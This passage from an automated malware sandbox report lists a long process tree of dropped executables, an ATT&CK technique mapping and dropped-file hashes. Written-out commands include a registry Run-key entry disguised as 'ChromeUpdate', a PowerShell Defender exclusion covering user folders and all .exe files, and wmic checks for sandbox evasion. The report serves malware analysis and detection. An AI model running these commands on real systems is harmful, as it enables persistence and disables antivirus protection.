                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:5208
                                                                    • C:\Users\Admin\AppData\Local\Temp\a\p.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\a\p.exe"
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:4616
                                                                    • C:\Users\Admin\AppData\Local\Temp\a\nc64.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\a\nc64.exe"
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:1884
                                                                    • C:\Users\Admin\AppData\Local\Temp\a\Rar.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\a\Rar.exe"
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:5880
                                                                    • C:\Users\Admin\AppData\Local\Temp\a\win.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\a\win.exe"
                                                                      2⤵
                                                                        PID:1688
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
                                                                          3⤵
                                                                            PID:5628
                                                                        • C:\Users\Admin\AppData\Local\Temp\a\beacon.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\a\beacon.exe"
                                                                          2⤵
                                                                            PID:2872
                                                                          • C:\Users\Admin\AppData\Local\Temp\a\momsstiflersdgjboigfnbio.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\a\momsstiflersdgjboigfnbio.exe"
                                                                            2⤵
                                                                              PID:5796
                                                                              • C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtoolsd.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtoolsd.exe
                                                                                3⤵
                                                                                  PID:5952
                                                                                  • C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\vmtoolsd.exe
                                                                                    "C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\vmtoolsd.exe"
                                                                                    4⤵
                                                                                      PID:5284
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\SysWOW64\cmd.exe
                                                                                        5⤵
                                                                                          PID:5024
                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                            6⤵
                                                                                              PID:1900
                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\poolsdnkjfdbndklsnfgb.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\poolsdnkjfdbndklsnfgb.exe"
                                                                                      2⤵
                                                                                        PID:4588
                                                                                        • C:\Users\Admin\AppData\Local\Temp\Updatemonitor\livecall.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\Updatemonitor\livecall.exe
                                                                                          3⤵
                                                                                            PID:4152
                                                                                            • C:\Users\Admin\AppData\Roaming\Updatemonitor\livecall.exe
                                                                                              "C:\Users\Admin\AppData\Roaming\Updatemonitor\livecall.exe"
                                                                                              4⤵
                                                                                                PID:5892
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\SysWOW64\cmd.exe
                                                                                                  5⤵
                                                                                                    PID:4228
                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                      6⤵
                                                                                                        PID:524
                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\tg.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\tg.exe"
                                                                                                2⤵
                                                                                                  PID:4432
                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\Vertex_Craze_20240225061753481.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\Vertex_Craze_20240225061753481.exe"
                                                                                                  2⤵
                                                                                                    PID:5380
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\3582-490\Vertex_Craze_20240225061753481.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\3582-490\Vertex_Craze_20240225061753481.exe"
                                                                                                      3⤵
                                                                                                        PID:1860
                                                                                                    • C:\Windows\svchost.com
                                                                                                      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\random.exe"
                                                                                                      2⤵
                                                                                                        PID:2016
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\random.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\a\random.exe
                                                                                                          3⤵
                                                                                                            PID:5776
                                                                                                        • C:\Windows\svchost.com
                                                                                                          "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe"
                                                                                                          2⤵
                                                                                                            PID:648
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe
                                                                                                              3⤵
                                                                                                                PID:744
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 744 -s 1016
                                                                                                                  4⤵
                                                                                                                  • Program crash
                                                                                                                  PID:4300
                                                                                                            • C:\Windows\svchost.com
                                                                                                              "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\PINNAC~1.EXE"
                                                                                                              2⤵
                                                                                                                PID:540
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\PINNAC~1.EXE
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\a\PINNAC~1.EXE
                                                                                                                  3⤵
                                                                                                                    PID:5516
                                                                                                                • C:\Windows\svchost.com
                                                                                                                  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\QUANTU~1.EXE"
                                                                                                                  2⤵
                                                                                                                    PID:5692
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\QUANTU~1.EXE
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\a\QUANTU~1.EXE
                                                                                                                      3⤵
                                                                                                                        PID:5828
                                                                                                                    • C:\Windows\svchost.com
                                                                                                                      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\TEST_2~1.EXE"
                                                                                                                      2⤵
                                                                                                                        PID:3480
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\TEST_2~1.EXE
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\a\TEST_2~1.EXE
                                                                                                                          3⤵
                                                                                                                            PID:3496
                                                                                                                        • C:\Windows\svchost.com
                                                                                                                          "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\GOLDPR~1.EXE"
                                                                                                                          2⤵
                                                                                                                            PID:4888
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\GOLDPR~1.EXE
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\a\GOLDPR~1.EXE
                                                                                                                              3⤵
                                                                                                                                PID:4180
                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                  4⤵
                                                                                                                                    PID:3648
                                                                                                                              • C:\Windows\svchost.com
                                                                                                                                "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\juditttt.exe"
                                                                                                                                2⤵
                                                                                                                                  PID:5320
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\juditttt.exe
                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\a\juditttt.exe
                                                                                                                                    3⤵
                                                                                                                                      PID:1348
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\onefile_1348_133543266153129385\stub.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\a\juditttt.exe
                                                                                                                                        4⤵
                                                                                                                                          PID:2256
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                                            5⤵
                                                                                                                                              PID:5440
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                              5⤵
                                                                                                                                                PID:1988
                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                  wmic path win32_VideoController get name
                                                                                                                                                  6⤵
                                                                                                                                                  • Detects videocard installed
                                                                                                                                                  PID:1616
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
                                                                                                                                                5⤵
                                                                                                                                                  PID:4716
                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                    wmic computersystem get Manufacturer
                                                                                                                                                    6⤵
                                                                                                                                                      PID:5608
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c "gdb --version"
                                                                                                                                                    5⤵
                                                                                                                                                      PID:5300
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "tasklist"
                                                                                                                                                      5⤵
                                                                                                                                                        PID:5800
                                                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                                                          tasklist
                                                                                                                                                          6⤵
                                                                                                                                                          • Enumerates processes with tasklist
                                                                                                                                                          PID:5732
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
                                                                                                                                                        5⤵
                                                                                                                                                          PID:5136
                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                            wmic path Win32_ComputerSystem get Manufacturer
                                                                                                                                                            6⤵
                                                                                                                                                              PID:4424
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                            5⤵
                                                                                                                                                              PID:2540
                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                wmic csproduct get uuid
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:3744
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c "tasklist"
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:3928
                                                                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                                                                    tasklist
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Enumerates processes with tasklist
                                                                                                                                                                    PID:5636
                                                                                                                                                          • C:\Windows\svchost.com
                                                                                                                                                            "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\FATTHER.exe"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1524
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\FATTHER.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\a\FATTHER.exe
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5540
                                                                                                                                                              • C:\Windows\svchost.com
                                                                                                                                                                "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\GAMMA_~1.EXE"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1344
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\GAMMA_~1.EXE
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\a\GAMMA_~1.EXE
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:2640
                                                                                                                                                                  • C:\Windows\svchost.com
                                                                                                                                                                    "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\TRUECR~1.EXE"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1648
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\TRUECR~1.EXE
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\a\TRUECR~1.EXE
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4904
                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:4984
                                                                                                                                                                        • C:\Windows\svchost.com
                                                                                                                                                                          "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\ZENITH~1.EXE"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:3568
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\ZENITH~1.EXE
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\a\ZENITH~1.EXE
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:1720
                                                                                                                                                                            • C:\Windows\svchost.com
                                                                                                                                                                              "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\seratwo.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:5516
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\seratwo.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\a\seratwo.exe
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:5592
                                                                                                                                                                                • C:\Windows\svchost.com
                                                                                                                                                                                  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\USA123.exe"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:1928
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\USA123.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\a\USA123.exe
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:224
                                                                                                                                                                                        • C:\Windows\svchost.com
                                                                                                                                                                                          "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\a\USA123.exe /f
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:5668
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\System32\cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\a\USA123.exe /f
                                                                                                                                                                                              5⤵
                                                                                                                                                                                                PID:5532
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\a\USA123.exe /f
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                  PID:4740
                                                                                                                                                                                        • C:\Windows\svchost.com
                                                                                                                                                                                          "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\SIGNED~1.EXE"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:3636
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\SIGNED~1.EXE
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\a\SIGNED~1.EXE
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:4856
                                                                                                                                                                                            • C:\Windows\svchost.com
                                                                                                                                                                                              "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\APEX_V~1.EXE"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:5196
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\APEX_V~1.EXE
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\a\APEX_V~1.EXE
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5564
                                                                                                                                                                                                • C:\Windows\svchost.com
                                                                                                                                                                                                  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\RAPID_~1.EXE"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:4792
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\RAPID_~1.EXE
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\a\RAPID_~1.EXE
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:2904
                                                                                                                                                                                                    • C:\Windows\svchost.com
                                                                                                                                                                                                      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\MIRACL~1.EXE"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:5068
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\MIRACL~1.EXE
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\a\MIRACL~1.EXE
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4496
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3808 -ip 3808
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:2464
                                                                                                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:2632
                                                                                                                                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:5280
                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 212 -ip 212
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:5844
                                                                                                                                                                                                              • C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe
                                                                                                                                                                                                                C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                PID:4316
                                                                                                                                                                                                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:3752
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1100 -ip 1100
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:5904
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 744 -ip 744
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:1256
                                                                                                                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:6092
                                                                                                                                                                                                                      • C:\Windows\System32\dllhost.exe
                                                                                                                                                                                                                        C:\Windows\System32\dllhost.exe /Processid:{edebb2c7-a838-4a4b-8a4b-79d83671dd67}
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:2296
                                                                                                                                                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\system32\WerFault.exe -pss -s 624 -p 1720 -ip 1720
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:3000
                                                                                                                                                                                                                          • C:\Windows\System32\dllhost.exe
                                                                                                                                                                                                                            C:\Windows\System32\dllhost.exe /Processid:{12bdc290-8b1b-4ea2-8d17-458094203e70}
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:3240
                                                                                                                                                                                                                            • C:\Windows\System32\dllhost.exe
                                                                                                                                                                                                                              C:\Windows\System32\dllhost.exe /Processid:{71e49b11-a0f4-4d0a-8599-da7c6cfb32b5}
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:2904
                                                                                                                                                                                                                              • C:\Windows\System32\dllhost.exe
                                                                                                                                                                                                                                C:\Windows\System32\dllhost.exe /Processid:{59d22761-5d60-4190-827a-41d5d0d939d5}
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:5556
                                                                                                                                                                                                                                • C:\Windows\System32\dllhost.exe
                                                                                                                                                                                                                                  C:\Windows\System32\dllhost.exe /Processid:{47a21010-c664-4c5c-94e6-73b1875446ae}
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:3132

                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                        Reconnaissance

                                                                                                                                                                                                                                        Resource Development

                                                                                                                                                                                                                                        Initial Access

                                                                                                                                                                                                                                        Execution

                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                        Persistence

                                                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1543

                                                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                        Privilege Escalation

                                                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1543

                                                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                        Defense Evasion

                                                                                                                                                                                                                                        Hide Artifacts

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1564

                                                                                                                                                                                                                                        Hidden Files and Directories

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1564.001

                                                                                                                                                                                                                                        Impair Defenses

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1562

                                                                                                                                                                                                                                        Modify Registry

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1112

                                                                                                                                                                                                                                        Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1497

                                                                                                                                                                                                                                        Credential Access

                                                                                                                                                                                                                                        Unsecured Credentials

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1552

                                                                                                                                                                                                                                        Credentials In Files

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1552.001

                                                                                                                                                                                                                                        Discovery

                                                                                                                                                                                                                                        Network Service Discovery

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1046

                                                                                                                                                                                                                                        Process Discovery

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1057

                                                                                                                                                                                                                                        Query Registry

                                                                                                                                                                                                                                        7
                                                                                                                                                                                                                                        T1012

                                                                                                                                                                                                                                        Remote System Discovery

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1018

                                                                                                                                                                                                                                        System Information Discovery

                                                                                                                                                                                                                                        6
                                                                                                                                                                                                                                        T1082

                                                                                                                                                                                                                                        Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1497

                                                                                                                                                                                                                                        Lateral Movement

                                                                                                                                                                                                                                        Collection

                                                                                                                                                                                                                                        Data from Local System

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1005

                                                                                                                                                                                                                                        Command and Control

                                                                                                                                                                                                                                        Web Service

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1102

                                                                                                                                                                                                                                        Exfiltration

                                                                                                                                                                                                                                        Impact

                                                                                                                                                                                                                                        Service Stop

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1489

                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                        Are.docx
                                                                                                                                                                                                                                        • Path C:\ProgramData\Are.docx
                                                                                                                                                                                                                                        • Size 11KB
                                                                                                                                                                                                                                        • SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        WatchStep.txt
                                                                                                                                                                                                                                        • Path C:\ProgramData\WatchStep.txt
                                                                                                                                                                                                                                        • Size 449KB
                                                                                                                                                                                                                                        • SHA256 2fa04514819035696b47e32d7a9d5195bc92a84f5b85ecb0ac62da6640626096
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        mozglue.dll
                                                                                                                                                                                                                                        • Path C:\ProgramData\mozglue.dll
                                                                                                                                                                                                                                        • Size 593KB
                                                                                                                                                                                                                                        • SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        nss3.dll
                                                                                                                                                                                                                                        • Path C:\ProgramData\nss3.dll
                                                                                                                                                                                                                                        • Size 2.0MB
                                                                                                                                                                                                                                        • SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        nss3.dll
                                                                                                                                                                                                                                        • Path C:\ProgramData\nss3.dll
                                                                                                                                                                                                                                        • Size 1.5MB
                                                                                                                                                                                                                                        • SHA256 bb372fbb1f556be3a864a6642be80f429fa22bda4150f7ffb64c2cddcc721dc1
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        cruisemailer.exe
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Cruise Mailer\cruisemailer.exe
                                                                                                                                                                                                                                        • Size 1.5MB
                                                                                                                                                                                                                                        • SHA256 bda51c01d2025187c5cdefe3795e75f5458462e887d3f476429cea047fa728c6
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        cruisemailer.exe
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Cruise Mailer\cruisemailer.exe
                                                                                                                                                                                                                                        • Size 1.6MB
                                                                                                                                                                                                                                        • SHA256 24ae78f8f8979e1dff2d42757bd4c6de9f82e58e5f95758b469d47de28a5306e
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        libbz2-1.dll
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Cruise Mailer\libbz2-1.dll
                                                                                                                                                                                                                                        • Size 103KB
                                                                                                                                                                                                                                        • SHA256 f8385d08bd44b213ff2a2c360fe01ae8a1eda5311c7e1fc1a043c524e899a8ed
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        libgcc_s_dw2-1.dll
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Cruise Mailer\libgcc_s_dw2-1.dll
                                                                                                                                                                                                                                        • Size 122KB
                                                                                                                                                                                                                                        • SHA256 9941eee1cafffad854ab2dfd49bf6e57b181efeb4e2d731ba7a28f5ab27e91cf
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        libogg-0.dll
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Cruise Mailer\libogg-0.dll
                                                                                                                                                                                                                                        • Size 40KB
                                                                                                                                                                                                                                        • SHA256 602c2b9f796da7ba7bf877bf624ac790724800074d0e12ffa6861e29c1a38144
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        libvorbis-0.dll
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Cruise Mailer\libvorbis-0.dll
                                                                                                                                                                                                                                        • Size 172KB
                                                                                                                                                                                                                                        • SHA256 8a7d2da7685cedb267bfa7f0ad3218afa28f4ed2f1029ee920d66eb398f3476d
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        libwinpthread-1.dll
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Cruise Mailer\libwinpthread-1.dll
                                                                                                                                                                                                                                        • Size 66KB
                                                                                                                                                                                                                                        • SHA256 e85aecc40854203b4a2f4a0249f875673e881119181e3df2968491e31ad372a4
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        settings.dat
